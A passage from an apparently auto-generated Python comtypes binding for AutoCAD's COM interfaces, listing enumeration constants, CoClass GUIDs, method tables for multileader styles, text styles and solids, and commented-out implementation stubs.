'-no docstring-'\n## #return obliAngle\n## def _set(self, obliAngle):\n## '-no docstring-'\n## ObliqueAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadIdPair(CoClass):\n _reg_clsid_ = GUID('{CCD8F5AC-6BE4-4339-8FA4-96925A911753}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadIdPair._com_interfaces_ = [IAcadIdPair]\n\n\n# values for enumeration 'AcMLeaderContentType'\nacNoneContent = 0\nacBlockContent = 1\nacMTextContent = 2\nAcMLeaderContentType = c_int # enum\n\n# values for enumeration 'AcDrawMLeaderOrderType'\nacDrawContentFirst = 0\nacDrawLeaderFirst = 1\nAcDrawMLeaderOrderType = c_int # enum\n\n# values for enumeration 'AcDrawLeaderOrderType'\nacDrawLeaderHeadFirst = 0\nacDrawLeaderTailFirst = 1\nAcDrawLeaderOrderType = c_int # enum\n\n# values for enumeration 'AcSegmentAngleType'\nacDegreesAny = 0\nacDegrees15 = 1\nacDegrees30 = 2\nacDegrees45 = 3\nacDegrees60 = 4\nacDegrees90 = 6\nacDegreesHorz = 12\nAcSegmentAngleType = c_int # enum\n\n# values for enumeration 'AcMLeaderType'\nacStraightLeader = 1\nacSplineLeader = 2\nacInVisibleLeader = 0\nAcMLeaderType = c_int # enum\n\n# values for enumeration 'AcTextAttachmentDirection'\nacAttachmentHorizontal = 0\nacAttachmentVertical = 1\nAcTextAttachmentDirection = c_int # enum\n\n# values for enumeration 'AcTextAttachmentType'\nacAttachmentTopOfTop = 0\nacAttachmentMiddleOfTop = 1\nacAttachmentBottomOfTop = 2\nacAttachmentBottomOfTopLine = 3\nacAttachmentMiddle = 4\nacAttachmentMiddleOfBottom = 5\nacAttachmentBottomOfBottom = 6\nacAttachmentBottomLine = 7\nacAttachmentAllLine = 8\nAcTextAttachmentType = c_int # enum\n\n# values for enumeration 'AcVerticalTextAttachmentType'\nacAttachmentCenter = 0\nacAttachmentLinedCenter = 1\nAcVerticalTextAttachmentType = c_int # enum\n\n# values for enumeration 'AcBlockConnectionType'\nacConnectExtents = 0\nacConnectBase = 1\nAcBlockConnectionType = c_int # enum\n\n# values for enumeration 'AcTextAngleType'\nacInsertAngle = 0\nacHorizontalAngle = 1\nacAlwaysRightReadingAngle = 2\nAcTextAngleType = c_int # enum\n\n# values for enumeration 'AcTextAlignmentType'\nacLeftAlignment = 0\nacCenterAlignment = 1\nacRightAlignment = 2\nAcTextAlignmentType = c_int # enum\nIAcadMLeaderStyle._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Name',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'Description',\n ( ['out', 'retval'], POINTER(BSTR), 'Description' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'Description',\n ( ['in'], BSTR, 'Description' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'BitFlags',\n ( ['out', 'retval'], POINTER(c_int), 'bitFlag' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'BitFlags',\n ( ['in'], c_int, 'bitFlag' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'ContentType',\n ( ['out', 'retval'], POINTER(AcMLeaderContentType), 'Type' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'ContentType',\n ( ['in'], AcMLeaderContentType, 'Type' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'DrawMLeaderOrderType',\n ( ['out', 'retval'], POINTER(AcDrawMLeaderOrderType), 'Type' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'DrawMLeaderOrderType',\n ( ['in'], AcDrawMLeaderOrderType, 'Type' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'DrawLeaderOrderType',\n ( ['out', 'retval'], POINTER(AcDrawLeaderOrderType), 'Type' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'DrawLeaderOrderType',\n ( ['in'], AcDrawLeaderOrderType, 'Type' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'MaxLeaderSegmentsPoints',\n ( ['out', 'retval'], POINTER(c_int), 'number' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'MaxLeaderSegmentsPoints',\n ( ['in'], c_int, 'number' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'FirstSegmentAngleConstraint',\n ( ['out', 'retval'], POINTER(AcSegmentAngleType), 'constraint' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'FirstSegmentAngleConstraint',\n ( ['in'], AcSegmentAngleType, 'constraint' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'SecondSegmentAngleConstraint',\n ( ['out', 'retval'], POINTER(AcSegmentAngleType), 'constraint' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'SecondSegmentAngleConstraint',\n ( ['in'], AcSegmentAngleType, 'constraint' )),\n COMMETHOD([dispid(10), 'propget'], HRESULT, 'LeaderLinetype',\n ( ['out', 'retval'], POINTER(AcMLeaderType), 'Type' )),\n COMMETHOD([dispid(10), 'propput'], HRESULT, 'LeaderLinetype',\n ( ['in'], AcMLeaderType, 'Type' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'LeaderLineColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'color' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'LeaderLineColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'color' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'LeaderLineTypeId',\n ( ['out', 'retval'], POINTER(ACAD_LTYPE), 'Type' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'LeaderLineTypeId',\n ( ['in'], ACAD_LTYPE, 'Type' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'LeaderLineWeight',\n ( ['out', 'retval'], POINTER(AcLineWeight), 'weight' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'LeaderLineWeight',\n ( ['in'], AcLineWeight, 'weight' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'EnableLanding',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'enabled' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'EnableLanding',\n ( ['in'], VARIANT_BOOL, 'enabled' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'LandingGap',\n ( ['out', 'retval'], POINTER(c_double), 'LandingGap' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'LandingGap',\n ( ['in'], c_double, 'LandingGap' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'EnableDogleg',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'enabled' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'EnableDogleg',\n ( ['in'], VARIANT_BOOL, 'enabled' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'DoglegLength',\n ( ['out', 'retval'], POINTER(c_double), 'DoglegLength' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'DoglegLength',\n ( ['in'], c_double, 'DoglegLength' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'ArrowSymbol',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'ArrowSymbol',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'ArrowSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'ArrowSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'TextStyle',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'TextStyle',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(41), 'propget'], HRESULT, 'TextAttachmentDirection',\n ( ['out', 'retval'], POINTER(AcTextAttachmentDirection), 'dir' )),\n COMMETHOD([dispid(41), 'propput'], HRESULT, 'TextAttachmentDirection',\n ( ['in'], AcTextAttachmentDirection, 'dir' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'TextLeftAttachmentType',\n ( ['out', 'retval'], POINTER(AcTextAttachmentType), 'Type' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'TextLeftAttachmentType',\n ( ['in'], AcTextAttachmentType, 'Type' )),\n COMMETHOD([dispid(40), 'propget'], HRESULT, 'TextRightAttachmentType',\n ( ['out', 'retval'], POINTER(AcTextAttachmentType), 'Type' )),\n COMMETHOD([dispid(40), 'propput'], HRESULT, 'TextRightAttachmentType',\n ( ['in'], AcTextAttachmentType, 'Type' )),\n COMMETHOD([dispid(42), 'propget'], HRESULT, 'TextTopAttachmentType',\n ( ['out', 'retval'], POINTER(AcVerticalTextAttachmentType), 'Type' )),\n COMMETHOD([dispid(42), 'propput'], HRESULT, 'TextTopAttachmentType',\n ( ['in'], AcVerticalTextAttachmentType, 'Type' )),\n COMMETHOD([dispid(43), 'propget'], HRESULT, 'TextBottomAttachmentType',\n ( ['out', 'retval'], POINTER(AcVerticalTextAttachmentType), 'Type' )),\n COMMETHOD([dispid(43), 'propput'], HRESULT, 'TextBottomAttachmentType',\n ( ['in'], AcVerticalTextAttachmentType, 'Type' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'TextColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'color' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'TextColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'color' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'TextHeight',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'TextHeight',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'EnableFrameText',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'enabled' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'EnableFrameText',\n ( ['in'], VARIANT_BOOL, 'enabled' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'AlignSpace',\n ( ['out', 'retval'], POINTER(c_double), 'AlignSpace' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'AlignSpace',\n ( ['in'], c_double, 'AlignSpace' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'Block',\n ( ['out', 'retval'], POINTER(BSTR), 'Name' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'Block',\n ( ['in'], BSTR, 'Name' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'BlockColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'color' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'BlockColor',\n ( ['in'], POINTER(IAcadAcCmColor), 'color' )),\n COMMETHOD([dispid(28), 'propget'], HRESULT, 'EnableBlockScale',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'enabled' )),\n COMMETHOD([dispid(28), 'propput'], HRESULT, 'EnableBlockScale',\n ( ['in'], VARIANT_BOOL, 'enabled' )),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'BlockScale',\n ( ['out', 'retval'], POINTER(c_double), 'ScaleFactor' )),\n COMMETHOD([dispid(29), 'propput'], HRESULT, 'BlockScale',\n ( ['in'], c_double, 'ScaleFactor' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'EnableBlockRotation',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'enabled' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'EnableBlockRotation',\n ( ['in'], VARIANT_BOOL, 'enabled' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'BlockRotation',\n ( ['out', 'retval'], POINTER(c_double), 'Rotation' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'BlockRotation',\n ( ['in'], c_double, 'Rotation' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'BlockConnectionType',\n ( ['out', 'retval'], POINTER(AcBlockConnectionType), 'Type' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'BlockConnectionType',\n ( ['in'], AcBlockConnectionType, 'Type' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(c_double), 'scale' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], c_double, 'scale' )),\n COMMETHOD([dispid(34), 'propget'], HRESULT, 'OverwritePropChanged',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'changed' )),\n COMMETHOD([dispid(35), 'propget'], HRESULT, 'Annotative',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'Annotative' )),\n COMMETHOD([dispid(35), 'propput'], HRESULT, 'Annotative',\n ( ['in'], VARIANT_BOOL, 'Annotative' )),\n COMMETHOD([dispid(36), 'propget'], HRESULT, 'BreakSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(36), 'propput'], HRESULT, 'BreakSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(37), 'propget'], HRESULT, 'TextString',\n ( ['out', 'retval'], POINTER(BSTR), 'Text' )),\n COMMETHOD([dispid(37), 'propput'], HRESULT, 'TextString',\n ( ['in'], BSTR, 'Text' )),\n COMMETHOD([dispid(38), 'propget'], HRESULT, 'TextAngleType',\n ( ['out', 'retval'], POINTER(AcTextAngleType), 'Type' )),\n COMMETHOD([dispid(38), 'propput'], HRESULT, 'TextAngleType',\n ( ['in'], AcTextAngleType, 'Type' )),\n COMMETHOD([dispid(39), 'propget'], HRESULT, 'TextAlignmentType',\n ( ['out', 'retval'], POINTER(AcTextAlignmentType), 'Type' )),\n COMMETHOD([dispid(39), 'propput'], HRESULT, 'TextAlignmentType',\n ( ['in'], AcTextAlignmentType, 'Type' )),\n]\n################################################################\n## code template for IAcadMLeaderStyle implementation\n##class IAcadMLeaderStyle_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## Name = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Description\n## def _set(self, Description):\n## '-no docstring-'\n## Description = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bitFlag\n## def _set(self, bitFlag):\n## '-no docstring-'\n## BitFlags = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## ContentType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DrawMLeaderOrderType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## DrawLeaderOrderType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return number\n## def _set(self, number):\n## '-no docstring-'\n## MaxLeaderSegmentsPoints = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return constraint\n## def _set(self, constraint):\n## '-no docstring-'\n## FirstSegmentAngleConstraint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return constraint\n## def _set(self, constraint):\n## '-no docstring-'\n## SecondSegmentAngleConstraint = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LeaderLinetype = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## LeaderLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LeaderLineTypeId = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return weight\n## def _set(self, weight):\n## '-no docstring-'\n## LeaderLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return enabled\n## def _set(self, enabled):\n## '-no docstring-'\n## EnableLanding = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return LandingGap\n## def _set(self, LandingGap):\n## '-no docstring-'\n## LandingGap = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return enabled\n## def _set(self, enabled):\n## '-no docstring-'\n## EnableDogleg = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return DoglegLength\n## def _set(self, DoglegLength):\n## '-no docstring-'\n## DoglegLength = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## ArrowSymbol = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## ArrowSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## TextStyle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return dir\n## def _set(self, dir):\n## '-no docstring-'\n## TextAttachmentDirection = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextLeftAttachmentType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextRightAttachmentType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextTopAttachmentType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextBottomAttachmentType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## TextColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## TextHeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return enabled\n## def _set(self, enabled):\n## '-no docstring-'\n## EnableFrameText = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return AlignSpace\n## def _set(self, AlignSpace):\n## '-no docstring-'\n## AlignSpace = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Name\n## def _set(self, Name):\n## '-no docstring-'\n## Block = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## BlockColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return enabled\n## def _set(self, enabled):\n## '-no docstring-'\n## EnableBlockScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ScaleFactor\n## def _set(self, ScaleFactor):\n## '-no docstring-'\n## BlockScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return enabled\n## def _set(self, enabled):\n## '-no docstring-'\n## EnableBlockRotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Rotation\n## def _set(self, Rotation):\n## '-no docstring-'\n## BlockRotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## BlockConnectionType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def OverwritePropChanged(self):\n## '-no docstring-'\n## #return changed\n##\n## def _get(self):\n## '-no docstring-'\n## #return Annotative\n## def _set(self, Annotative):\n## '-no docstring-'\n## Annotative = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return size\n## def _set(self, size):\n## '-no docstring-'\n## BreakSize = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Text\n## def _set(self, Text):\n## '-no docstring-'\n## TextString = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextAngleType = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## TextAlignmentType = property(_get, _set, doc = _set.__doc__)\n##\n\nclass AcadSection(CoClass):\n _reg_clsid_ = GUID('{90E47ECE-9277-4524-96FC-8DCDBCB5EDEB}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nclass IAcadSection2(IAcadSection):\n _case_insensitive_ = True\n _iid_ = GUID('{E09EC02D-2F9B-4E9A-8116-BD370773C686}')\n _idlflags_ = ['dual', 'oleautomation']\nAcadSection._com_interfaces_ = [IAcadSection2]\nAcadSection._outgoing_interfaces_ = [IAcadObjectEvents]\n\nclass IAcadTextStyle(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{2F744465-FE75-48D0-AF68-C8C633614283}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadTextStyle._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'BigFontFile',\n ( ['out', 'retval'], POINTER(BSTR), 'fontFile' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'BigFontFile',\n ( ['in'], BSTR, 'fontFile' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'fontFile',\n ( ['out', 'retval'], POINTER(BSTR), 'fontFile' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 'fontFile',\n ( ['in'], BSTR, 'fontFile' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Height',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Height',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'LastHeight',\n ( ['out', 'retval'], POINTER(c_double), 'Height' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'LastHeight',\n ( ['in'], c_double, 'Height' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'Name',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'ObliqueAngle',\n ( ['out', 'retval'], POINTER(ACAD_ANGLE), 'obliAngle' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'ObliqueAngle',\n ( ['in'], ACAD_ANGLE, 'obliAngle' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'TextGenerationFlag',\n ( ['out', 'retval'], POINTER(c_int), 'textGenFlag' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'TextGenerationFlag',\n ( ['in'], c_int, 'textGenFlag' )),\n COMMETHOD([dispid(8), 'propget'], HRESULT, 'Width',\n ( ['out', 'retval'], POINTER(c_double), 'Width' )),\n COMMETHOD([dispid(8), 'propput'], HRESULT, 'Width',\n ( ['in'], c_double, 'Width' )),\n COMMETHOD([dispid(9)], HRESULT, 'GetFont',\n ( ['out'], POINTER(BSTR), 'TypeFace' ),\n ( ['out'], POINTER(VARIANT_BOOL), 'Bold' ),\n ( ['out'], POINTER(VARIANT_BOOL), 'Italic' ),\n ( ['out'], POINTER(c_int), 'Charset' ),\n ( ['out'], POINTER(c_int), 'PitchAndFamily' )),\n COMMETHOD([dispid(16)], HRESULT, 'SetFont',\n ( ['in'], BSTR, 'TypeFace' ),\n ( ['in'], VARIANT_BOOL, 'Bold' ),\n ( ['in'], VARIANT_BOOL, 'Italic' ),\n ( ['in'], c_int, 'Charset' ),\n ( ['in'], c_int, 'PitchAndFamily' )),\n]\n################################################################\n## code template for IAcadTextStyle implementation\n##class IAcadTextStyle_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return fontFile\n## def _set(self, fontFile):\n## '-no docstring-'\n## BigFontFile = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fontFile\n## def _set(self, fontFile):\n## '-no docstring-'\n## fontFile = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## Height = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Height\n## def _set(self, Height):\n## '-no docstring-'\n## LastHeight = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def Name(self):\n## '-no docstring-'\n## #return bstrName\n##\n## def _get(self):\n## '-no docstring-'\n## #return obliAngle\n## def _set(self, obliAngle):\n## '-no docstring-'\n## ObliqueAngle = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return textGenFlag\n## def _set(self, textGenFlag):\n## '-no docstring-'\n## TextGenerationFlag = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Width\n## def _set(self, Width):\n## '-no docstring-'\n## Width = property(_get, _set, doc = _set.__doc__)\n##\n## def GetFont(self):\n## '-no docstring-'\n## #return TypeFace, Bold, Italic, Charset, PitchAndFamily\n##\n## def SetFont(self, TypeFace, Bold, Italic, Charset, PitchAndFamily):\n## '-no docstring-'\n## #return \n##\n\nIAcadSolid._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'corners' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'corners' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'Normal',\n ( ['out', 'retval'], POINTER(VARIANT), 'Normal' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propput'], HRESULT, 'Normal',\n ( ['in'], VARIANT, 'Normal' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Thickness',\n ( ['out', 'retval'], POINTER(c_double), 'Thickness' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Thickness',\n ( ['in'], c_double, 'Thickness' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n]\n################################################################\n## code template for IAcadSolid implementation\n##class IAcadSolid_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return corners\n## def _set(self, corners):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Normal\n## def _set(self, Normal):\n## '-no docstring-'\n## Normal = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Thickness\n## def _set(self, Thickness):\n## '-no docstring-'\n## Thickness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n\n\n# values for enumeration 'AcPredefBlockType'\nacBlockImperial = 0\nacBlockSlot = 1\nacBlockCircle = 2\nacBlockBox = 3\nacBlockHexagon = 4\nacBlockTriangle = 5\nacBlockUserDefined = 6\nAcPredefBlockType = c_int # enum\nIAcadMLeader._methods_ = [\n COMMETHOD([dispid(38), 'propget'], HRESULT, 'ScaleFactor',\n ( ['out', 'retval'], POINTER(c_double), 'scale' )),\n COMMETHOD([dispid(38), 'propput'], HRESULT, 'ScaleFactor',\n ( ['in'], c_double, 'scale' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'LeaderType',\n ( ['out', 'retval'], POINTER(AcMLeaderType), 'Type' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'LeaderType',\n ( ['in'], AcMLeaderType, 'Type' )),\n COMMETHOD([dispid(2), 'propget'], HRESULT, 'LeaderLineColor',\n ( ['out', 'retval'], POINTER(POINTER(IAcadAcCmColor)), 'Type' )),\n COMMETHOD([dispid(2), 'propput'], HRESULT, 